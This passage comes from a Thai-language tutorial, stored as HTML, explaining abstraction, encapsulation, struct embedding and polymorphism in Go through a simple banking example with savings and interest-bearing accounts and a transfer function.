&#xE0A;&#xE48;&#xE27;&#xE22;&#xE43;&#xE2B;&#xE49;&#xE2A;&#xE34;&#xE48;&#xE07;&#xE43;&#xE2B;&#xE21;&#xE48;&#xE2A;&#xE32;&#xE21;&#xE32;&#xE23;&#xE16;&#xE43;&#xE0A;&#xE49;&#xE04;&#xE38;&#xE13;&#xE2A;&#xE21;&#xE1A;&#xE31;&#xE15;&#xE34;&#xE17;&#xE35;&#xE48;&#xE21;&#xE35;&#xE2D;&#xE22;&#xE39;&#xE48;&#xE41;&#xE25;&#xE49;&#xE27;&#xE42;&#xE14;&#xE22;&#xE44;&#xE21;&#xE48;&#xE15;&#xE49;&#xE2D;&#xE07;&#xE2A;&#xE23;&#xE49;&#xE32;&#xE07;&#xE43;&#xE2B;&#xE21;&#xE48;&#xE17;&#xE31;&#xE49;&#xE07;&#xE2B;&#xE21;&#xE14;</li><li><strong>Polymorphism </strong>&#xE04;&#xE37;&#xE2D; &#xE04;&#xE27;&#xE32;&#xE21;&#xE2A;&#xE32;&#xE21;&#xE32;&#xE23;&#xE16;&#xE02;&#xE2D;&#xE07;&#xE2A;&#xE34;&#xE48;&#xE07;&#xE15;&#xE48;&#xE32;&#xE07; &#xE46; &#xE17;&#xE35;&#xE48;&#xE41;&#xE15;&#xE01;&#xE15;&#xE48;&#xE32;&#xE07;&#xE01;&#xE31;&#xE19; &#xE41;&#xE15;&#xE48;&#xE21;&#xE35;&#xE01;&#xE32;&#xE23;&#xE17;&#xE33;&#xE07;&#xE32;&#xE19;&#xE41;&#xE1A;&#xE1A;&#xE40;&#xE14;&#xE35;&#xE22;&#xE27;&#xE01;&#xE31;&#xE19;&#xE44;&#xE14;&#xE49; &#xE0A;&#xE48;&#xE27;&#xE22;&#xE43;&#xE2B;&#xE49;&#xE40;&#xE23;&#xE32;&#xE2A;&#xE32;&#xE21;&#xE32;&#xE23;&#xE16;&#xE43;&#xE0A;&#xE49;&#xE2A;&#xE34;&#xE48;&#xE07;&#xE15;&#xE48;&#xE32;&#xE07; &#xE46; &#xE17;&#xE35;&#xE48;&#xE41;&#xE15;&#xE01;&#xE15;&#xE48;&#xE32;&#xE07;&#xE01;&#xE31;&#xE19;&#xE14;&#xE49;&#xE27;&#xE22;&#xE27;&#xE34;&#xE18;&#xE35;&#xE01;&#xE32;&#xE23;&#xE17;&#xE33;&#xE07;&#xE32;&#xE19;&#xE40;&#xE14;&#xE35;&#xE22;&#xE27;&#xE01;&#xE31;&#xE19;&#xE44;&#xE14;&#xE49; (&#xE43;&#xE19; Function &#xE40;&#xE14;&#xE35;&#xE22;&#xE27;&#xE01;&#xE31;&#xE19;)</li></ol><p>&#xE2A;&#xE21;&#xE21;&#xE15;&#xE34;&#xE27;&#xE48;&#xE32;&#xE40;&#xE23;&#xE32;&#xE15;&#xE49;&#xE2D;&#xE07;&#xE01;&#xE32;&#xE23;&#xE1E;&#xE31;&#xE12;&#xE19;&#xE32; Program &#xE40;&#xE01;&#xE35;&#xE48;&#xE22;&#xE27;&#xE01;&#xE31;&#xE1A;&#xE01;&#xE32;&#xE23;&#xE17;&#xE33;&#xE18;&#xE38;&#xE23;&#xE01;&#xE23;&#xE23;&#xE21;&#xE17;&#xE32;&#xE07;&#xE18;&#xE19;&#xE32;&#xE04;&#xE32;&#xE23; (Banking Transactions) &#xE0B;&#xE36;&#xE48;&#xE07;&#xE15;&#xE49;&#xE2D;&#xE07;&#xE2A;&#xE32;&#xE21;&#xE32;&#xE23;&#xE16;&#xE40;&#xE1B;&#xE34;&#xE14;&#xE1A;&#xE31;&#xE0D;&#xE0A;&#xE35; &#xE1D;&#xE32;&#xE01;&#xE40;&#xE07;&#xE34;&#xE19; (Deposit) &#xE16;&#xE2D;&#xE19;&#xE40;&#xE07;&#xE34;&#xE19; (Withdraw) &#xE41;&#xE25;&#xE30;&#xE42;&#xE2D;&#xE19;&#xE40;&#xE07;&#xE34;&#xE19; (Transfer)</p><p>&#xE42;&#xE14;&#xE22;&#xE40;&#xE23;&#xE32;&#xE2D;&#xE32;&#xE08;&#xE21;&#xE35;&#xE1A;&#xE31;&#xE0D;&#xE0A;&#xE35;&#xE2B;&#xE25;&#xE32;&#xE22;&#xE1B;&#xE23;&#xE30;&#xE40;&#xE20;&#xE17; &#xE40;&#xE0A;&#xE48;&#xE19; &#xE1A;&#xE31;&#xE0D;&#xE0A;&#xE35;&#xE2D;&#xE2D;&#xE21;&#xE17;&#xE23;&#xE31;&#xE1E;&#xE22;&#xE4C; &#xE1A;&#xE31;&#xE0D;&#xE0A;&#xE35;&#xE17;&#xE35;&#xE48;&#xE43;&#xE2B;&#xE49;&#xE14;&#xE2D;&#xE01;&#xE40;&#xE1A;&#xE35;&#xE49;&#xE22;&#xE44;&#xE14;&#xE49; &#xE2F;&#xE25;&#xE2F; &#xE41;&#xE25;&#xE30;&#xE15;&#xE49;&#xE2D;&#xE07;&#xE01;&#xE32;&#xE23;&#xE23;&#xE2D;&#xE07;&#xE23;&#xE31;&#xE1A;&#xE01;&#xE32;&#xE23;&#xE02;&#xE22;&#xE32;&#xE22;&#xE1B;&#xE23;&#xE30;&#xE40;&#xE20;&#xE17;&#xE1A;&#xE31;&#xE0D;&#xE0A;&#xE35;&#xE43;&#xE2B;&#xE21;&#xE48; &#xE46; &#xE43;&#xE19;&#xE2D;&#xE19;&#xE32;&#xE04;&#xE15;&#xE44;&#xE14;&#xE49;&#xE07;&#xE48;&#xE32;&#xE22;</p><h3 id="abstraction">Abstraction</h3><p>&#xE43;&#xE19;&#xE20;&#xE32;&#xE29;&#xE32; Go &#xE01;&#xE32;&#xE23;&#xE17;&#xE33; Abstraction &#xE17;&#xE33;&#xE44;&#xE14;&#xE49;&#xE1C;&#xE48;&#xE32;&#xE19; Interface &#xE0B;&#xE36;&#xE48;&#xE07;&#xE40;&#xE1B;&#xE47;&#xE19;&#xE40;&#xE2B;&#xE21;&#xE37;&#xE2D;&#xE19; &#x201C;<strong>&#xE2A;&#xE31;&#xE0D;&#xE0D;&#xE32;</strong>&#x201D; (Contract) &#xE17;&#xE35;&#xE48;&#xE1A;&#xE2D;&#xE01;&#xE27;&#xE48;&#xE32; &#xE16;&#xE49;&#xE32; Struct &#xE43;&#xE14;&#xE21;&#xE35; Method &#xE17;&#xE35;&#xE48;&#xE15;&#xE23;&#xE07;&#xE15;&#xE32;&#xE21;&#xE17;&#xE35;&#xE48;&#xE01;&#xE33;&#xE2B;&#xE19;&#xE14;&#xE44;&#xE27;&#xE49;&#xE43;&#xE19; Interface &#xE19;&#xE31;&#xE49;&#xE19; &#xE41;&#xE2A;&#xE14;&#xE07;&#xE27;&#xE48;&#xE32; Struct &#xE19;&#xE31;&#xE49;&#xE19; &#x201C;<strong>implement</strong>&#x201D; Interface &#xE42;&#xE14;&#xE22;&#xE1B;&#xE23;&#xE34;&#xE22;&#xE32;&#xE22; &#xE17;&#xE33;&#xE43;&#xE2B;&#xE49;&#xE40;&#xE23;&#xE32;&#xE2A;&#xE32;&#xE21;&#xE32;&#xE23;&#xE16;&#xE40;&#xE1E;&#xE34;&#xE48;&#xE21; Struct &#xE43;&#xE2B;&#xE21;&#xE48; &#xE46; &#xE44;&#xE14;&#xE49;&#xE42;&#xE14;&#xE22;&#xE44;&#xE21;&#xE48;&#xE15;&#xE49;&#xE2D;&#xE07;&#xE41;&#xE01;&#xE49;&#xE44;&#xE02; Code &#xE43;&#xE19;&#xE2A;&#xE48;&#xE27;&#xE19;&#xE2D;&#xE37;&#xE48;&#xE19; (&#xE1B;&#xE0F;&#xE34;&#xE1A;&#xE31;&#xE15;&#xE34;&#xE15;&#xE32;&#xE21; Open/Closed Principle)</p><pre><code>package banking

// Account &#xE04;&#xE37;&#xE2D; Interface &#xE17;&#xE35;&#xE48;&#xE01;&#xE33;&#xE2B;&#xE19;&#xE14;&#xE2A;&#xE31;&#xE0D;&#xE0D;&#xE32;&#xE02;&#xE2D;&#xE07;&#xE1A;&#xE31;&#xE0D;&#xE0A;&#xE35;&#xE18;&#xE19;&#xE32;&#xE04;&#xE32;&#xE23;&#xE17;&#xE31;&#xE48;&#xE27;&#xE44;&#xE1B;
// &#xE44;&#xE21;&#xE48;&#xE27;&#xE48;&#xE32; Struct &#xE43;&#xE14;&#xE01;&#xE47;&#xE15;&#xE32;&#xE21; &#xE16;&#xE49;&#xE32;&#xE21;&#xE35; Method &#xE15;&#xE32;&#xE21;&#xE17;&#xE35;&#xE48;&#xE23;&#xE30;&#xE1A;&#xE38;&#xE44;&#xE27;&#xE49;&#xE15;&#xE48;&#xE2D;&#xE44;&#xE1B;&#xE19;&#xE35;&#xE49;&#xE01;&#xE47;&#xE08;&#xE30;&#xE16;&#xE37;&#xE2D;&#xE27;&#xE48;&#xE32;&#xE40;&#xE1B;&#xE47;&#xE19; Account &#xE44;&#xE14;&#xE49;
type Account interface {
    Deposit(amount float64) error
    Withdraw(amount float64) error
    GetBalance() float64
}
</code></pre><h3 id="encapsulation">Encapsulation</h3><p>&#xE43;&#xE19; Go &#xE40;&#xE23;&#xE32;&#xE43;&#xE0A;&#xE49;&#xE01;&#xE32;&#xE23;&#xE15;&#xE31;&#xE49;&#xE07;&#xE0A;&#xE37;&#xE48;&#xE2D; Field &#xE41;&#xE25;&#xE30; Method &#xE14;&#xE49;&#xE27;&#xE22;&#xE15;&#xE31;&#xE27;&#xE2D;&#xE31;&#xE01;&#xE29;&#xE23;&#xE40;&#xE25;&#xE47;&#xE01; &#xE40;&#xE21;&#xE37;&#xE48;&#xE2D;&#xE44;&#xE21;&#xE48;&#xE15;&#xE49;&#xE2D;&#xE07;&#xE01;&#xE32;&#xE23;&#xE43;&#xE2B;&#xE49;&#xE40;&#xE02;&#xE49;&#xE32;&#xE16;&#xE36;&#xE07;&#xE44;&#xE14;&#xE49;&#xE08;&#xE32;&#xE01; Package &#xE20;&#xE32;&#xE22;&#xE19;&#xE2D;&#xE01; &#xE41;&#xE25;&#xE30;&#xE43;&#xE0A;&#xE49;&#xE15;&#xE31;&#xE27;&#xE2D;&#xE31;&#xE01;&#xE29;&#xE23;&#xE02;&#xE36;&#xE49;&#xE19;&#xE15;&#xE49;&#xE19;&#xE14;&#xE49;&#xE27;&#xE22;&#xE15;&#xE31;&#xE27;&#xE43;&#xE2B;&#xE0D;&#xE48;&#xE40;&#xE21;&#xE37;&#xE48;&#xE2D;&#xE2D;&#xE22;&#xE32;&#xE01;&#xE43;&#xE2B;&#xE49;&#xE40;&#xE02;&#xE49;&#xE32;&#xE16;&#xE36;&#xE07;&#xE44;&#xE14;&#xE49;&#xE08;&#xE32;&#xE01;&#xE20;&#xE32;&#xE22;&#xE19;&#xE2D;&#xE01;</p><pre><code>package banking

import &quot;fmt&quot;

// savingsAccount &#xE04;&#xE37;&#xE2D; Struct &#xE17;&#xE35;&#xE48;&#xE41;&#xE17;&#xE19;&#xE1A;&#xE31;&#xE0D;&#xE0A;&#xE35;&#xE2D;&#xE2D;&#xE21;&#xE17;&#xE23;&#xE31;&#xE1E;&#xE22;&#xE4C;
// balance &#xE02;&#xE36;&#xE49;&#xE19;&#xE15;&#xE49;&#xE19;&#xE14;&#xE49;&#xE27;&#xE22;&#xE15;&#xE31;&#xE27;&#xE40;&#xE25;&#xE47;&#xE01; &#xE2B;&#xE21;&#xE32;&#xE22;&#xE16;&#xE36;&#xE07; Field &#xE19;&#xE35;&#xE49;&#xE08;&#xE30;&#xE16;&#xE39;&#xE01;&#xE1B;&#xE01;&#xE1B;&#xE34;&#xE14;&#xE08;&#xE32;&#xE01;&#xE20;&#xE32;&#xE22;&#xE19;&#xE2D;&#xE01;
type savingsAccount struct {
    balance float64
}

// NewSavingsAccount &#xE04;&#xE37;&#xE2D; Constructor Function &#xE2A;&#xE33;&#xE2B;&#xE23;&#xE31;&#xE1A;&#xE2A;&#xE23;&#xE49;&#xE32;&#xE07;&#xE1A;&#xE31;&#xE0D;&#xE0A;&#xE35;&#xE2D;&#xE2D;&#xE21;&#xE17;&#xE23;&#xE31;&#xE1E;&#xE22;&#xE4C;
func NewSavingsAccount(initialBalance float64) *savingsAccount {
    if initialBalance &lt; 0 {
        initialBalance = 0
    }
    return &amp;savingsAccount{balance: initialBalance}
}

// Deposit &#xE40;&#xE1B;&#xE47;&#xE19; Method &#xE17;&#xE35;&#xE48;&#xE40;&#xE1B;&#xE34;&#xE14;&#xE43;&#xE2B;&#xE49;&#xE40;&#xE23;&#xE35;&#xE22;&#xE01;&#xE43;&#xE0A;&#xE49;&#xE07;&#xE32;&#xE19;&#xE44;&#xE14;&#xE49;&#xE08;&#xE32;&#xE01;&#xE20;&#xE32;&#xE22;&#xE19;&#xE2D;&#xE01;
func (s *savingsAccount) Deposit(amount float64) error {
    if amount &lt;= 0 {
        return fmt.Errorf(&quot;invalid deposit amount&quot;)
    }
    s.balance += amount
    return nil
}

// Withdraw &#xE40;&#xE1B;&#xE47;&#xE19; Method &#xE17;&#xE35;&#xE48;&#xE40;&#xE1B;&#xE34;&#xE14;&#xE43;&#xE2B;&#xE49;&#xE40;&#xE23;&#xE35;&#xE22;&#xE01;&#xE43;&#xE0A;&#xE49;&#xE07;&#xE32;&#xE19;&#xE44;&#xE14;&#xE49;&#xE08;&#xE32;&#xE01;&#xE20;&#xE32;&#xE22;&#xE19;&#xE2D;&#xE01;
func (s *savingsAccount) Withdraw(amount float64) error {
    if amount &lt;= 0 {
        return fmt.Errorf(&quot;invalid withdraw amount&quot;)
    }
    if amount &gt; s.balance {
        return fmt.Errorf(&quot;insufficient funds&quot;)
    }
    s.balance -= amount
    return nil
}

// GetBalance &#xE40;&#xE1B;&#xE34;&#xE14;&#xE43;&#xE2B;&#xE49;&#xE20;&#xE32;&#xE22;&#xE19;&#xE2D;&#xE01;&#xE40;&#xE23;&#xE35;&#xE22;&#xE01;&#xE14;&#xE39;&#xE22;&#xE2D;&#xE14;&#xE40;&#xE07;&#xE34;&#xE19;&#xE44;&#xE14;&#xE49;&#xE41;&#xE1A;&#xE1A; Read-only
func (s *savingsAccount) GetBalance() float64 {
    return s.balance
}
</code></pre><p>&#xE43;&#xE19;&#xE15;&#xE31;&#xE27;&#xE2D;&#xE22;&#xE48;&#xE32;&#xE07;&#xE19;&#xE35;&#xE49; Field balance &#xE16;&#xE39;&#xE01;&#xE1B;&#xE01;&#xE1B;&#xE34;&#xE14; &#xE17;&#xE33;&#xE43;&#xE2B;&#xE49;&#xE44;&#xE21;&#xE48;&#xE2A;&#xE32;&#xE21;&#xE32;&#xE23;&#xE20;&#xE41;&#xE01;&#xE49;&#xE44;&#xE02;&#xE42;&#xE14;&#xE22;&#xE15;&#xE23;&#xE07;&#xE08;&#xE32;&#xE01;&#xE20;&#xE32;&#xE22;&#xE19;&#xE2D;&#xE01; &#xE40;&#xE23;&#xE32;&#xE08;&#xE36;&#xE07;&#xE15;&#xE49;&#xE2D;&#xE07;&#xE40;&#xE1B;&#xE34;&#xE14;&#xE43;&#xE2B;&#xE49;&#xE21;&#xE35;&#xE01;&#xE32;&#xE23;&#xE40;&#xE23;&#xE35;&#xE22;&#xE01;&#xE43;&#xE0A;&#xE49;&#xE07;&#xE32;&#xE19;&#xE1C;&#xE48;&#xE32;&#xE19; Method Deposit, Withdraw &#xE41;&#xE25;&#xE30; GetBalance &#xE40;&#xE1E;&#xE37;&#xE48;&#xE2D;&#xE04;&#xE27;&#xE1A;&#xE04;&#xE38;&#xE21;&#xE40;&#xE07;&#xE37;&#xE48;&#xE2D;&#xE19;&#xE44;&#xE02;&#xE15;&#xE48;&#xE32;&#xE07; &#xE46; &#xE44;&#xE14;&#xE49;</p><h3 id="inheritance">Inheritance</h3><p>Go &#xE44;&#xE21;&#xE48;&#xE21;&#xE35;&#xE01;&#xE32;&#xE23;&#xE2A;&#xE37;&#xE1A;&#xE17;&#xE2D;&#xE14;&#xE41;&#xE1A;&#xE1A; Classic &#xE40;&#xE2B;&#xE21;&#xE37;&#xE2D;&#xE19;&#xE43;&#xE19; OOP &#xE20;&#xE32;&#xE29;&#xE32;&#xE14;&#xE31;&#xE49;&#xE07;&#xE40;&#xE14;&#xE34;&#xE21; &#xE41;&#xE15;&#xE48;&#xE08;&#xE30;&#xE43;&#xE0A;&#xE49; Struct Embedding &#xE40;&#xE1E;&#xE37;&#xE48;&#xE2D;&#xE19;&#xE33;&#xE04;&#xE27;&#xE32;&#xE21;&#xE2A;&#xE32;&#xE21;&#xE32;&#xE23;&#xE16;&#xE02;&#xE2D;&#xE07; Struct &#xE2B;&#xE19;&#xE36;&#xE48;&#xE07;&#xE21;&#xE32;&#xE43;&#xE0A;&#xE49;&#xE43;&#xE19;&#xE2D;&#xE35;&#xE01; Struct &#xE2B;&#xE19;&#xE36;&#xE48;&#xE07;&#xE44;&#xE14;&#xE49;&#xE42;&#xE14;&#xE22;&#xE15;&#xE23;&#xE07; (Composition Over Inheritance)</p><p>&#xE2A;&#xE21;&#xE21;&#xE38;&#xE15;&#xE34;&#xE27;&#xE48;&#xE32;&#xE40;&#xE23;&#xE32;&#xE15;&#xE49;&#xE2D;&#xE07;&#xE01;&#xE32;&#xE23;&#xE2A;&#xE23;&#xE49;&#xE32;&#xE07;&#xE1A;&#xE31;&#xE0D;&#xE0A;&#xE35;&#xE17;&#xE35;&#xE48;&#xE43;&#xE2B;&#xE49;&#xE14;&#xE2D;&#xE01;&#xE40;&#xE1A;&#xE35;&#xE49;&#xE22;&#xE44;&#xE14;&#xE49;&#xE14;&#xE49;&#xE27;&#xE22; (&#xE40;&#xE0A;&#xE48;&#xE19; interestAccount) &#xE40;&#xE23;&#xE32;&#xE2D;&#xE32;&#xE08;&#xE1D;&#xE31;&#xE07; (embed) &#xE1A;&#xE31;&#xE0D;&#xE0A;&#xE35;&#xE2D;&#xE2D;&#xE21;&#xE17;&#xE23;&#xE31;&#xE1E;&#xE22;&#xE4C;&#xE1B;&#xE01;&#xE15;&#xE34;&#xE44;&#xE27;&#xE49;&#xE02;&#xE49;&#xE32;&#xE07;&#xE43;&#xE19; &#xE41;&#xE25;&#xE49;&#xE27;&#xE40;&#xE1E;&#xE34;&#xE48;&#xE21; Method &#xE04;&#xE33;&#xE19;&#xE27;&#xE13;&#xE14;&#xE2D;&#xE01;&#xE40;&#xE1A;&#xE35;&#xE49;&#xE22;&#xE40;&#xE02;&#xE49;&#xE32;&#xE44;&#xE1B;</p><pre><code>package banking

import &quot;fmt&quot;

// interestAccount &#xE1B;&#xE23;&#xE30;&#xE01;&#xE2D;&#xE1A;&#xE14;&#xE49;&#xE27;&#xE22; (embed) savingsAccount &#xE2D;&#xE22;&#xE39;&#xE48;&#xE20;&#xE32;&#xE22;&#xE43;&#xE19;
type interestAccount struct {
    *savingsAccount
    interestRate float64
}

func NewInterestAccount(initialBalance, rate float64) *interestAccount {
    if rate &lt; 0 {
        rate = 0
    }
    return &amp;interestAccount{
        savingsAccount: NewSavingsAccount(initialBalance),
        interestRate:   rate,
    }
}

// AddInterest &#xE04;&#xE37;&#xE2D; Method &#xE04;&#xE33;&#xE19;&#xE27;&#xE13;&#xE41;&#xE25;&#xE30;&#xE40;&#xE1E;&#xE34;&#xE48;&#xE21;&#xE14;&#xE2D;&#xE01;&#xE40;&#xE1A;&#xE35;&#xE49;&#xE22;&#xE25;&#xE07;&#xE43;&#xE19;&#xE1A;&#xE31;&#xE0D;&#xE0A;&#xE35;
func (ia *interestAccount) AddInterest() {
    interest := ia.balance * ia.interestRate
    if interest &gt; 0 {
        ia.balance += interest
    }
}

// Override Withdraw (&#xE15;&#xE31;&#xE27;&#xE2D;&#xE22;&#xE48;&#xE32;&#xE07;&#xE2B;&#xE32;&#xE01;&#xE15;&#xE49;&#xE2D;&#xE07;&#xE01;&#xE32;&#xE23;&#xE40;&#xE02;&#xE35;&#xE22;&#xE19;&#xE17;&#xE31;&#xE1A;&#xE40;&#xE21;&#xE18;&#xE2D;&#xE14;&#xE40;&#xE14;&#xE34;&#xE21;)
func (ia *interestAccount) Withdraw(amount float64) error {
    fmt.Println(&quot;Withdrawing from interest account...&quot;)
    return ia.savingsAccount.Withdraw(amount)
}
</code></pre><p>&#xE40;&#xE23;&#xE32;&#xE2A;&#xE32;&#xE21;&#xE32;&#xE23;&#xE16;&#xE19;&#xE33; savingsAccount &#xE21;&#xE32;&#xE1D;&#xE31;&#xE07;&#xE43;&#xE19; interestAccount &#xE17;&#xE33;&#xE43;&#xE2B;&#xE49;&#xE43;&#xE0A;&#xE49; Method Deposit &#xE41;&#xE25;&#xE30; GetBalance &#xE02;&#xE2D;&#xE07; savingsAccount &#xE44;&#xE14;&#xE49;&#xE17;&#xE31;&#xE19;&#xE17;&#xE35; &#xE41;&#xE25;&#xE30;&#xE22;&#xE31;&#xE07;&#xE2A;&#xE32;&#xE21;&#xE32;&#xE23;&#xE16;&#xE40;&#xE02;&#xE35;&#xE22;&#xE19; Method &#xE2D;&#xE37;&#xE48;&#xE19;&#xE40;&#xE1E;&#xE34;&#xE48;&#xE21;&#xE40;&#xE15;&#xE34;&#xE21; &#xE2B;&#xE23;&#xE37;&#xE2D;&#xE40;&#xE02;&#xE35;&#xE22;&#xE19;&#xE17;&#xE31;&#xE1A; Method &#xE40;&#xE14;&#xE34;&#xE21; (Withdraw) &#xE44;&#xE14;&#xE49;</p><h3 id="polymorphism">Polymorphism</h3><p>Polymorphism &#xE43;&#xE19; Go &#xE17;&#xE33;&#xE44;&#xE14;&#xE49;&#xE1C;&#xE48;&#xE32;&#xE19; Interface &#xE40;&#xE21;&#xE37;&#xE48;&#xE2D; Struct 2 &#xE15;&#xE31;&#xE27; &#xE40;&#xE0A;&#xE48;&#xE19; savingsAccount &#xE41;&#xE25;&#xE30; interestAccount &#xE17;&#xE33;&#xE15;&#xE32;&#xE21;&#xE2A;&#xE31;&#xE0D;&#xE0D;&#xE32;&#xE17;&#xE35;&#xE48;&#xE01;&#xE33;&#xE2B;&#xE19;&#xE14;&#xE44;&#xE27;&#xE49;&#xE43;&#xE19; Account Interface &#xE40;&#xE23;&#xE32;&#xE2A;&#xE32;&#xE21;&#xE32;&#xE23;&#xE16;&#xE43;&#xE0A;&#xE49;&#xE1E;&#xE27;&#xE01;&#xE21;&#xE31;&#xE19;&#xE41;&#xE17;&#xE19;&#xE01;&#xE31;&#xE19;&#xE1C;&#xE48;&#xE32;&#xE19;&#xE15;&#xE31;&#xE27;&#xE41;&#xE1B;&#xE23;&#xE0A;&#xE19;&#xE34;&#xE14; Account &#xE44;&#xE14;&#xE49;&#xE17;&#xE31;&#xE19;&#xE17;&#xE35; &#xE42;&#xE14;&#xE22;&#xE44;&#xE21;&#xE48;&#xE15;&#xE49;&#xE2D;&#xE07;&#xE40;&#xE1B;&#xE25;&#xE35;&#xE48;&#xE22;&#xE19; Code&#xE43;&#xE19;&#xE2A;&#xE48;&#xE27;&#xE19;&#xE17;&#xE35;&#xE48;&#xE40;&#xE1B;&#xE47;&#xE19; Client Code</p><pre><code>package banking

import &quot;fmt&quot;

// PrintBalance &#xE40;&#xE1B;&#xE47;&#xE19; Function &#xE17;&#xE35;&#xE48;&#xE23;&#xE31;&#xE1A;&#xE15;&#xE31;&#xE27;&#xE41;&#xE1B;&#xE23;&#xE1B;&#xE23;&#xE30;&#xE40;&#xE20;&#xE17; Account Interface
func PrintBalance(a Account) {
    fmt.Printf(&quot;The current balance is: %.2f\n&quot;, a.GetBalance())
}

// &#xE42;&#xE2D;&#xE19;&#xE40;&#xE07;&#xE34;&#xE19; &#xE08;&#xE32;&#xE01;&#xE1A;&#xE31;&#xE0D;&#xE0A;&#xE35;&#xE2B;&#xE19;&#xE36;&#xE48;&#xE07;&#xE44;&#xE1B;&#xE22;&#xE31;&#xE07;&#xE2D;&#xE35;&#xE01;&#xE1A;&#xE31;&#xE0D;&#xE0A;&#xE35;&#xE2B;&#xE19;&#xE36;&#xE48;&#xE07;
func Transfer(from, to Account, amount float64) error {
    // &#xE16;&#xE2D;&#xE19;&#xE08;&#xE32;&#xE01; from
    err := from.Withdraw(amount)
    if err != nil {
        return err
    }

    // &#xE1D;&#xE32;&#xE01;&#xE40;&#xE02;&#xE49;&#xE32; to
    err = to.Deposit(amount)
    if err != nil {
        // &#xE16;&#xE49;&#xE32;&#xE1D;&#xE32;&#xE01;&#xE44;&#xE21;&#xE48;&#xE2A;&#xE33;&#xE40;&#xE23;&#xE47;&#xE08; &#xE43;&#xE2B;&#xE49;&#xE04;&#xE37;&#xE19;&#xE40;&#xE07;&#xE34;&#xE19;&#xE01;&#xE25;&#xE31;&#xE1A;&#xE44;&#xE1B;&#xE22;&#xE31;&#xE07; from
        _ = from.Deposit(amount)
        return err
    }

    return nil
}

// &#xE15;&#xE31;&#xE27;&#xE2D;&#xE22;&#xE48;&#xE32;&#xE07;&#xE01;&#xE32;&#xE23;&#xE43;&#xE0A;&#xE49;&#xE07;&#xE32;&#xE19;&#xE43;&#xE19; Function main
func main() {
    // &#xE2A;&#xE23;&#xE49;&#xE32;&#xE07;&#xE1A;&#xE31;&#xE0D;&#xE0A;&#xE35;&#xE2D;&#xE2D;&#xE21;&#xE17;&#xE23;&#xE31;&#xE1E;&#xE22;&#xE4C;
    savAcc := NewSavingsAccount(1000)

    // &#xE2A;&#xE23;&#xE49;&#xE32;&#xE07;&#xE1A;&#xE31;&#xE0D;&#xE0A;&#xE35;&#xE17;&#xE35;&#xE48;&#xE21;&#xE35;&#xE14;&#xE2D;&#xE01;&#xE40;&#xE1A;&#xE35;&#xE49;&#xE22;
    intAcc := NewInterestAccount(2000, 0.05)

    // savAcc &#xE41;&#xE25;&#xE30; intAcc &#xE17;&#xE31;&#xE49;&#xE07;&#xE04;&#xE39;&#xE48;&#xE04;&#xE37;&#xE2D; Account &#xE17;&#xE33;&#xE43;&#xE2B;&#xE49;&#xE40;&#xE23;&#xE32;&#xE2A;&#xE48;&#xE07;&#xE21;&#xE31;&#xE19;&#xE44;&#xE1B;&#xE22;&#xE31;&#xE07; PrintBalance &#xE44;&#xE14;&#xE49; (&#xE21;&#xE35;&#xE04;&#xE27;&#xE32;&#xE21;&#xE40;&#xE1B;&#xE47;&#xE19; Polymorphism)
    PrintBalance(savAcc)
    PrintBalance(intAcc)

    // &#xE42;&#xE2D;&#xE19;&#xE40;&#xE07;&#xE34;&#xE19;&#xE23;&#xE30;&#xE2B;&#xE27;&#xE48;&#xE32;&#xE07;&#xE1A;&#xE31;&#xE0D;&#xE0A;&#xE35;
    err := Transfer(savAcc, intAcc, 500)
    if err != nil {
        fmt.Println(&quot;Transfer failed :&quot;, err)
    }

    // &#xE2B;&#xE25;&#xE31;&#xE07;&#xE42;&#xE2D;&#xE19;&#xE40;&#xE07;&#xE34;&#xE19;&#xE40;&#xE23;&#xE35;&#xE22;&#xE1A;&#xE23;&#xE49;&#xE2D;&#xE22; &#xE1E;&#xE34;&#xE21;&#xE1E;&#xE4C;&#xE22;&#xE2D;&#xE14;&#xE2D;&#xE2D;&#xE01;&#xE21;&#xE32;&#xE14;&#xE39;&#xE2D;&#xE35;&#xE01;&#xE04;&#xE23;&#xE31;&#xE49;&#xE07;
    PrintBalance(savAcc)
    PrintBalance(intAcc)

    // &#xE17;&#xE14;&#xE25;&#xE2D;&#xE07;&#xE40;&#xE1E;&#xE34;&#xE48;&#xE21;&#xE14;&#xE2D;&#xE01;&#xE40;&#xE1A;&#xE35;&#xE49;&#xE22;
    intAcc.AddInterest()
    PrintBalance(intAcc)
}
</code></pre><p>&#xE40;&#xE21;&#xE37;&#xE48;&#xE2D;&#xE40;&#xE23;&#xE32;&#xE2A;&#xE23;&#xE49;&#xE32;&#xE07;&#xE1A;&#xE31;&#xE0D;&#xE0A;&#xE35;&#xE2D;&#xE2D;&#xE21;&#xE17;&#xE23;&#xE31;&#xE1E;&#xE22;&#xE4C; (savingsAccount) &#xE2B;&#xE23;&#xE37;&#xE2D;&#xE1A;&#xE31;&#xE0D;&#xE0A;&#xE35;&#xE21;&#xE35;&#xE14;&#xE2D;&#xE01;&#xE40;&#xE1A;&#xE35;&#xE49;&#xE22; (interestAccount) &#xE17;&#xE31;&#xE49;&#xE07;&#xE2A;&#xE2D;&#xE07; Struct &#xE19;&#xE35;&#xE49;&#xE21;&#xE35; Method &#xE04;&#xE23;&#xE1A;&#xE16;&#xE49;&#xE27;&#xE19;&#xE15;&#xE32;&#xE21;&#xE17;&#xE35;&#xE48; Interface Account &#xE01;&#xE33;&#xE2B;&#xE19;&#xE14;&#xE44;&#xE27;&#xE49; &#xE08;&#xE36;&#xE07;&#xE17;&#xE33;&#xE43;&#xE2B;&#xE49;&#xE2A;&#xE32;&#xE21;&#xE32;&#xE23;&#xE16;&#xE2A;&#xE48;&#xE07;&#xE15;&#xE31;&#xE27;&#xE41;&#xE1B;&#xE23;&#xE17;&#xE31;&#xE49;&#xE07;&#xE2A;&#xE2D;&#xE07;&#xE0A;&#xE19;&#xE34;&#xE14;&#xE40;&#xE02;&#xE49;&#xE32;&#xE44;&#xE1B;&#xE43;&#xE19; Function &#xE17;&#xE35;&#xE48;&#xE23;&#xE31;&#xE1A;&#xE15;&#xE31;&#xE27;&#xE41;&#xE1B;&#xE23;&#xE41;&#xE1A;&#xE1A; Account &#xE44;&#xE14;&#xE49;&#xE42;&#xE14;&#xE22;&#xE44;&#xE21;&#xE48;&#xE15;&#xE49;&#xE2D;&#xE07;&#xE40;&#xE1B;&#xE25;&#xE35;&#xE48;&#xE22;&#xE19; Code &#xE43;&#xE14; &#xE46; &#xE43;&#xE19; Function &#xE19;&#xE31;&#xE49;&#xE19;</p><h2 